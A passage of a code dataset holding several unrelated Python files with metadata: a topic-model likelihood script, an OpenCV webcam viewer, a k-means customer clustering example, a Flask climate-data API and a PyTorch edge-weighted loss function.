'')\n\t\twith open('{}/{}_doc_to_topic.json'.format(distribution_directory, clean_name), 'r') as file:\n\t\t\tcontent = list(json.loads(file.read()).values())\n\t\t\n\t\ttopic_to_document_prior = np.matrix(content).transpose()\n\t\t\n\t\tglobal_vocab = df.term.values.tolist()\n\t\tlocal_vocab = global_vocab\n\t\ttopic_to_word_prior = convert_to_np(df.loc[:, topic_columns])\n\t\t\n\t\tprint('2. computing likelihoods - {}'.format(name))\n\t\t\n\t\t## 5. compute likelihoods.\n\t\tconfig = {\n\t\t\t'iters': 100,\n\t\t\t'burn_in': 15,\n\t\t\t'local_vocab': local_vocab,\n\t\t\t\n\t\t\t'alpha': alpha,\n\t\t\t'number_of_topics': number_of_topics,\n\t\t\t'global_vocab': global_vocab,\n\t\t\t'topic_to_word_prior': topic_to_word_prior,\n\t\t\t'topic_to_document_prior': topic_to_document_prior\n\t\t}\n\t\t\n\t\t## Sumation of the log P(w(d) | Φ, αm) \n\t\t\t## these numbers seem to match up.\n\t\t\n\t\t# run harmonic mean.\n\t\t\t\n\t\t# print()\n\t\t# print('** started \"hm\" at', str(datetime.datetime.now()), '**')\n\t\t# \n\t\t# hm_log_likelihood = hm(config)\n\t\t# with open('{}\\hm\\{}.txt'.format(inference_directory, clean_name), 'w') as file:\n\t\t# \tfile.write('{}'.format(hm_log_likelihood))\n\t\t# \n\t\t# print(' = {}'.format(hm_log_likelihood))\n\t\t# print('** finished \"hm\" at', str(datetime.datetime.now()), '**')\n\t\t# print()\n\t\t\n\t\t### run chibs\n\t\t\n\t\tprint('** started \"chibs\" at', str(datetime.datetime.now()), '**')\n\t\t\n\t\tchibs_log_likelihood = chibs(config)\n\t\twith open('{}\\chibs\\{}.txt'.format(inference_directory, clean_name), 'w') as file:\n\t\t\tfile.write('{}'.format(chibs_log_likelihood))\n\t\t\n\t\tprint(' = {}'.format(chibs_log_likelihood))\n\t\tprint('** finished \"chibs\" at', str(datetime.datetime.now()), '**')\n\t\tprint()\n\t\t\n\t\t### run discretization\n\t\t\n\t\t# print('** started \"discretization\" at', str(datetime.datetime.now()), '**')\n\t\t# \n\t\t# discretization_log_likelihood = discretization(config, 10)\n\t\t# with open('{}\\dis\\{}'.format(inference_directory, name), 'w') as file:\n\t\t# \tfile.write('{}'.format(discretization_log_likelihood))\n\t\t# \n\t\t# print(' = {}'.format(discretization_log_likelihood))\n\t\t# print('** finished \"discretization\" at', str(datetime.datetime.now()), '**')\n\t\t# print()\n\t\t\n\t\t### run importance sampling\n\t\t\n\t\t# print('** started \"importance sampling\" at', str(datetime.datetime.now()), '**')\n\t\t# \n\t\t# importance_sampling_log_likelihood = importance_sampling(config, 1000)\n\t\t# with open('{}\\is\\{}.txt'.format(inference_directory, clean_name), 'w') as file:\n\t\t# \tfile.write('{}'.format(importance_sampling_log_likelihood))\n\t\t# \n\t\t# print(' = {}'.format(importance_sampling_log_likelihood))\n\t\t# print('** finished \"importance sampling\" at', str(datetime.datetime.now()), '**')\n\t\t# print()\n\t\t# \n\t\t# print('** started \"lengths\" at', str(datetime.datetime.now()), '**')\n\t\t# \n\t\t# lengths = len(local_vocab)\n\t\t# with open('{}\\lengths\\{}.txt'.format(inference_directory, clean_name), 'w') as file:\n\t\t# \tfile.write('{}'.format(lengths))\n\t\t# \n\t\t# print(' = {}'.format(lengths))\n\t\t# print('** finished \"lengths\" at', str(datetime.datetime.now()), '**')\n\t\t# print()\n\t\nif __name__ == \"__main__\":\n\tmain()\n", "sub_path": "Thesis/Mallet/scripts/mallet/inference/process.py", "file_name": "process.py", "file_ext": "py", "file_size_in_byte": 16838, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 113, "usage_type": "attribute"}, {"api_name": "scipy.special.special.logsumexp", "line_number": 123, "usage_type": "call"}, {"api_name": "scipy.special.special", "line_number": 123, "usage_type": "attribute"}, {"api_name": "scipy.special", "line_number": 123, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 180, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 199, "usage_type": "attribute"}, {"api_name": "numpy.array_equal", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 234, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 247, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 270, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 270, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 292, "usage_type": "attribute"}, {"api_name": "numpy.histogram", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.random.gamma", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 302, "usage_type": "attribute"}, {"api_name": "numpy.random.gamma", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 303, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.random.gamma", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 304, "usage_type": "attribute"}, {"api_name": "numpy.random.gamma", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 305, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 313, "usage_type": "call"}, {"api_name": "scipy.special.special.logsumexp", "line_number": 316, "usage_type": "call"}, {"api_name": "scipy.special.special", "line_number": 316, "usage_type": "attribute"}, {"api_name": "scipy.special", "line_number": 316, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 364, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 372, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 381, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 382, "usage_type": "call"}, {"api_name": "numpy.random.gamma", "line_number": 384, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 384, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 385, "usage_type": "call"}, {"api_name": "numpy.random.gamma", "line_number": 386, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 386, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 386, "usage_type": "call"}, {"api_name": "scipy.special.special.logsumexp", "line_number": 387, "usage_type": "call"}, {"api_name": "scipy.special.special", "line_number": 387, "usage_type": "attribute"}, {"api_name": "scipy.special", "line_number": 387, "usage_type": "name"}, {"api_name": "numpy.matrixlib", "line_number": 393, "usage_type": "attribute"}, {"api_name": "numpy.matrix", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.matrixlib", "line_number": 399, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 443, "usage_type": "call"}, {"api_name": "numpy.matlib.repmat", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.matlib", "line_number": 470, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 473, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 474, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 480, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 484, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 486, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 486, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 492, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 496, "usage_type": "call"}, {"api_name": "numpy.random.gamma", "line_number": 496, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 496, "usage_type": "attribute"}, {"api_name": "numpy.random.gamma", "line_number": 497, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 497, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 498, "usage_type": "call"}, {"api_name": "numpy.random.gamma", "line_number": 498, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 498, "usage_type": "attribute"}, {"api_name": "numpy.random.gamma", "line_number": 499, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 499, "usage_type": "attribute"}, {"api_name": "numpy.matrix", "line_number": 500, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 502, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 505, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 509, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 512, "usage_type": "call"}, {"api_name": "scipy.special.special.logsumexp", "line_number": 515, "usage_type": "call"}, {"api_name": "scipy.special.special", "line_number": 515, "usage_type": "attribute"}, {"api_name": "scipy.special", "line_number": 515, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 515, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 522, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 544, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 552, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 554, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 593, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 593, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 600, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 600, "usage_type": "attribute"}]} +{"seq_id": "412188554", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 18 10:23:41 2021\n\n@author: allisonai\n\"\"\"\n\nimport cv2\n\nvid = cv2.VideoCapture(0)\n\nwhile True:\n ret,frame = vid.read()\n cv2.imshow('frame', frame)\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n \nvid.release()\ncv2.destroyAllWindows()", "sub_path": "CV2Test.py", "file_name": "CV2Test.py", "file_ext": "py", "file_size_in_byte": 324, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.VideoCapture", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "361173082", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 10 11:12:17 2019\r\n\r\n@author: SP Srivastava\r\n\"\"\"\r\n\r\nimport pandas as pd \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\ndata=pd.read_csv('Mall_Customers.csv')\r\nX=data.iloc[:,[3,4]].values\r\nfrom sklearn.cluster import KMeans\r\nwcss=[]\r\nfor i in range(1,11):\r\n kmeans=KMeans(n_clusters=i,init='k-means++',max_iter=300,n_init=10,random_state=0)\r\n kmeans.fit(X)\r\n wcss.append(kmeans.inertia_)\r\nplt.plot(range(1,11),wcss)\r\nplt.title('the rlbow method')\r\nplt.xlabel('number of clusters')\r\nplt.ylabel('WCSS')\r\nplt.show()\r\nkmeans=KMeans(n_clusters=5,init='k-means++',max_iter=300,n_init=10,random_state=0)\r\ny_kmeans=kmeans.fit_predict(X)\r\nplt.scatter(X[y_kmeans==0,0],X[y_kmeans==0,1],s=100,c='red',label='cluster1')\r\nplt.scatter(X[y_kmeans==1,0],X[y_kmeans==1,1],s=100,c='blue',label='cluster2')\r\nplt.scatter(X[y_kmeans==2,0],X[y_kmeans==2,1],s=100,c='green',label='cluster3')\r\nplt.scatter(X[y_kmeans==3,0],X[y_kmeans==3,1],s=100,c='cyan',label='cluster4')\r\nplt.scatter(X[y_kmeans==4,0],X[y_kmeans==4,1],s=100,c='magenta',label='cluster5')\r\nplt.scatter(kmeans.cluster_centers_[:,0],kmeans.cluster_centers_[:,1],s=300,c='yellow',label='centroid')\r\nplt.title('cluster of clients')\r\nplt.xlabel('annual income(k$)')\r\nplt.ylabel('spendingscore(1-100)')\r\nplt.legend()\r\nplt.show()", "sub_path": "Kmeans_mall.py", "file_name": "Kmeans_mall.py", "file_ext": "py", "file_size_in_byte": 1329, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}]} +{"seq_id": "167657174", "text": "import datetime as dt\nimport numpy as np\nimport pandas as pd\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom flask import Flask, jsonify\n\n#set up our database engine for the Flask application, Access the SQLite database.\nengine = create_engine(\"sqlite:///hawaii.sqlite\")\n\n# Reflect the database into our classes\nBase = automap_base()\n#Reflect the tables into SQLAlchemy\nBase.prepare(engine, reflect=True)\n\n#create a variable for each of the classes\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n#create a session link from Python to our database\nsession = Session(engine)\n\n# Define our flask app\napp = Flask(__name__)\n\n# Define the welcome route\n@app.route('/')\n\n#build our Flask routes, Module 9.5.2\ndef welcome():\n return(\n '''\n Welcome to the Climate Analysis API!\n Available Routes:\n /api/v1.0/precipitation\n /api/v1.0/stations\n /api/v1.0/tobs\n /api/v1.0/temp/start/end\n ''')\n\n# Define the precipitation route\n@app.route(\"/api/v1.0/precipitation\")\n\n# Create the precipitation function\ndef precipitation():\n\n # Calculate the date one year ago from the most recent date in the database\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n\n # Get the date and precip for the prev year\n precipitation = session.query(Measurement.date, Measurement.prcp).\\\n filter(Measurement.date >= prev_year).all()\n \n # Define a dictionary for the data\n precip = {date: prcp for date, prcp in precipitation}\n # Create a .json file from the dictionary\n return jsonify(precip) \n\n# Define the stations route\n@app.route('/api/v1.0/stations')\n\n# Create the stations function\ndef stations():\n\n # Get all of the stations from the database\n results = session.query(Station.station).all()\n\n # Unravel results into a 1-D array and convert to list, then jsonify\n stations = list(np.ravel(results))\n\n return jsonify(stations=stations)\n\n# Define the temp route\n@app.route(\"/api/v1.0/tobs\")\n\n# Create the temperature function\ndef temp_monthly():\n\n # Query the primary station for all the temps for the prev year\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n results = session.query(Measurement.tobs).\\\n filter(Measurement.station == 'USC00519281').\\\n filter(Measurement.date >= prev_year).all()\n\n # Unravel 1D array, array to list to json\n temps = list(np.ravel(results))\n return jsonify(temps=temps)\n\n# Define start and end date routes for statistics\n@app.route(\"/api/v1.0/temp/\")\n@app.route(\"/api/v1.0/temp//\")\n\n# Define statistics function\ndef stats(start=None, end=None):\n\n # Create list for querying database\n sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n\n # Query database using sel, unravel results into 1-D -> list -> json\n if not end:\n results = session.query(*sel).\\\n filter(Measurement.date >= start).\\\n filter(Measurement.date <= end).all()\n temps = list(np.ravel(results))\n return jsonify(temps=temps)\n\n # Calculate temp min, avg, max\n results = session.query(*sel).\\\n filter(Measurement.date >= start).\\\n filter(Measurement.date <= end).all()\n temps = list(np.ravel(results))\n\n return jsonify(temps=temps)\n \n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3398, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.automap.automap_base", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 89, "usage_type": "call"}, {"api_name": "sqlalchemy.func.min", "line_number": 99, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 99, "usage_type": "name"}, {"api_name": "sqlalchemy.func.avg", "line_number": 99, "usage_type": "call"}, {"api_name": "sqlalchemy.func.max", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 115, "usage_type": "call"}]} +{"seq_id": "78049320", "text": "import torch\nimport torch.nn.functional as F\nclass edgeMSE(torch.nn.Module):# 带有边缘权重的MSE\n def __init__(self):\n super(edgeMSE, self).__init__()\n\n def forward(ctx, origin, rebuild):\n\n\n edgeFilter = torch.tensor([\n [-0.2357, -0.2774, -0.3162, -0.3333, -0.3162, -0.2774, -0.2357],\n [-0.2774, -0.3536, -0.4472, -0.5000, -0.4472, -0.3536, -0.2774],\n [-0.3162, -0.4472, -0.7071, -1.0000, -0.7071, -0.4472, -0.3162],\n [-0.3333, -0.5000, -1.0000, 20.8451, -1.0000, -0.5000, -0.3333],\n [-0.3162, -0.4472, -0.7071, -1.0000, -0.7071, -0.4472, -0.3162],\n [-0.2774, -0.3536, -0.4472, -0.5000, -0.4472, -0.3536, -0.2774],\n [-0.2357, -0.2774, -0.3162, -0.3333, -0.3162, -0.2774, -0.2357]]).float().unsqueeze(0).unsqueeze(0).cuda()\n\n mse = torch.pow(origin - rebuild, 2)\n weight = torch.abs(F.conv2d(torch.nn.functional.pad(origin,(3,3,3,3),'replicate'), edgeFilter/20.8451))/255\n wMse = torch.mean(mse*weight)\n return wMse\n\nEdgeMSELoss = edgeMSE()\n\ndef createEdgeFilter(kernelSize = 7):\n edgeFilter = torch.zeros(size=[kernelSize, kernelSize], dtype=torch.float)\n center = kernelSize // 2\n wSum = 0\n for i in range(kernelSize):\n for j in range(kernelSize):\n if (i != center or j != center):\n edgeFilter[i][j] = -1 / (((i - center) ** 2 + (j - center) ** 2) ** 0.5)\n wSum = wSum + edgeFilter[i][j]\n\n edgeFilter[center][center] = -wSum\n edgeFilter = edgeFilter / edgeFilter[center][center] # 归一化\n edgeFilter = edgeFilter.float().unsqueeze(0).unsqueeze(0).cuda()\n print(edgeFilter)\n return edgeFilter\n\n\n\n\nclass weightedMPE(torch.nn.Module):# 带有权重的MPE\n def __init__(self):\n super(weightedMPE, self).__init__()\n\n def forward(ctx, origin, rebuild, filter, power, mode = 1, edgeFirst = 1):\n # mode==1: error^power * weight\n # mode==2: (error * weight)^power\n paddingNum = filter.shape[2]//2\n weight = torch.abs(\n F.conv2d(torch.nn.functional.pad(origin, (paddingNum, paddingNum, paddingNum, paddingNum), 'replicate'),\n filter)) / 255\n\n if(mode==1):\n if (power % 2 != 0):\n mpe = torch.pow(torch.abs(origin - rebuild), power)\n else:\n mpe = torch.pow(origin - rebuild, power)\n if(edgeFirst==1):\n wMpe = torch.mean(mpe * weight)\n elif(edgeFirst==0):\n wMpe = torch.mean(mpe * (1 - weight))\n return wMpe\n elif(mode==2):\n if (power % 2 != 0):\n if(edgeFirst == 1):\n wMpe = torch.pow(torch.abs((origin - rebuild)*weight), power).mean()\n elif(edgeFirst == 0):\n wMpe = torch.pow(torch.abs((origin - rebuild) * (1 - weight)), power).mean()\n else:\n if(edgeFirst == 1):\n wMpe = torch.pow((origin - rebuild) * weight, power).mean()\n elif(edgeFirst == 0):\n wMpe = torch.pow((origin - rebuild) * (1 - weight), power).mean()\n return wMpe\n\n\n\n\nWeightedMPELoss = weightedMPE()\n\n\n\n\n\nif __name__ == '__main__': # 如果运行本py文件 就运行main函数\n from PIL import Image\n import numpy\n import math\n '''\n edgeFilter = torch.zeros(size=[7, 7], dtype=torch.float)\n for i in range(7):\n for j in range(7):\n if(i!=3 or j!=3):\n edgeFilter[i][j] = -1/math.sqrt(pow(i-3,2) + pow(j-3,2))\n print(edgeFilter)\n print(edgeFilter.sum())\n exit(0)\n '''\n\n kSize = 17\n img = Image.open('./input.bmp').convert('L')\n img = numpy.asarray(img).astype(float).reshape([1, 1, 256, 256])\n edgeFilter = createEdgeFilter(kSize)\n print(edgeFilter)\n img = torch.from_numpy(img).float().cuda()\n padding = kSize//2\n img = torch.nn.functional.pad(img,(padding,padding,padding,padding),'replicate')\n edgeImg = torch.abs(F.conv2d(img, edgeFilter))\n print(edgeImg.max())\n\n meanFilter = torch.ones([1, 1, 16, 16]).float().cuda() / 256\n importantImg = F.conv2d(edgeImg, meanFilter, stride=(16, 16))\n importantImg = importantImg / importantImg.max() * 255\n importantImg = importantImg.cpu().detach().numpy().astype(int).reshape([16, 16])\n importantImg = Image.fromarray(importantImg.astype('uint8')).convert('L')\n importantImg.save('./important.bmp')\n\n edgeImg = edgeImg.cpu().detach().numpy().astype(int).reshape([256, 256])\n #edgeImg = Image.fromarray(edgeImg.astype('uint8')/2 + numpy.asarray(Image.open('./edge/7.bmp').convert('L')).astype('uint8')/2).convert('L')\n edgeImg = Image.fromarray(edgeImg.astype('uint8')).convert('L')\n edgeImg.save('./output.bmp')\n\n\n\n\n\n\n\n", "sub_path": "extendMSE.py", "file_name": "extendMSE.py", "file_ext": "py", "file_size_in_byte": 4790, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.nn", "line_number": 3, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.functional.pad", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.abs", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.functional.pad", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.pow", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 77, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 105, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn.functional.pad", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 111, "usage_type": "attribute"}, {"api_name": "torch.abs", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 116, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 119, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 119, "usage_type": "name"}, {"api_name": 